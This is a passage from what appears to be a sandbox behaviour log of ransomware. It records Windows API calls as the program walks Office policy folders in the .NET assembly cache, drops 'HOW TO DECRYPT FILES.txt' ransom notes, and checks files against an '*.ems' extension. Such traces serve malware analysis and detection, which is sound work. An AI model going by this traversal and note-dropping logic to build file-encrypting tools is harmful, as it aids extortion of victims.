lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.946] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.946] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.951] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.951] CloseHandle (hObject=0x90) returned 1 [0100.952] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.office.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.office.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.office.config" [0100.952] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.office.config", pszSpec="*.ems") returned 0 [0100.952] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x596c1850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Office.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.952] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.952] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Office.dll") returned -1 [0100.952] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Office.dll") returned -1 [0100.952] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Office.dll") returned -1 [0100.952] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.office.config") returned="Policy.11.0.office.config" [0100.952] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\" [0100.952] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.952] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.952] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.953] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Office.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Office.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Office.dll" [0100.953] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Office.dll", pszSpec="*.ems") returned 0 [0100.953] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x596c1850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Office.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.953] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.953] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x596c1850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5eb6870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5eb6870, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.953] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.953] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.InfoPath", cAlternateFileName="POLICY~1.INF")) returned 1 [0100.953] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.InfoPath") returned -1 [0100.953] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.InfoPath") returned -1 [0100.953] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.954] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.InfoPath" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath" [0100.954] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.954] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.954] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.954] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.954] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.955] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.955] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.955] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.955] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\*.*") returned="*.*" [0100.955] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c" [0100.955] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.958] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.958] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.958] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.958] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.958] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553a8c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x378, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.InfoPath.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.958] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.958] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.config") returned -1 [0100.958] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.config") returned -1 [0100.959] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.InfoPath.config") returned -1 [0100.959] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.959] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\" [0100.959] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.959] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.959] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.959] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.962] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.962] CloseHandle (hObject=0x90) returned 1 [0100.962] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.InfoPath.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.config" [0100.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.config", pszSpec="*.ems") returned 0 [0100.962] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cc5e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65cc5e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65cc5e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.InfoPath.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.962] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.962] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.dll") returned -1 [0100.963] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.dll") returned -1 [0100.963] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.InfoPath.dll") returned -1 [0100.963] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.config") returned="Policy.12.0.Microsoft.Office.InfoPath.config" [0100.963] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\" [0100.963] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.963] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.963] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.963] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.InfoPath.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.dll" [0100.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.dll", pszSpec="*.ems") returned 0 [0100.964] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cc5e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65cc5e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65cc5e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.InfoPath.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.964] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.964] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.964] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.964] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host", cAlternateFileName="POLICY~1.HOS")) returned 1 [0100.964] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host") returned -1 [0100.964] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host") returned -1 [0100.964] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.964] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host" [0100.964] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.965] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.965] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.965] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.965] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.965] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x543977b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.965] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.965] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.965] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\*.*") returned="*.*" [0100.965] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c" [0100.966] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x543977b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x310031, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.968] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.968] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x543977b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, 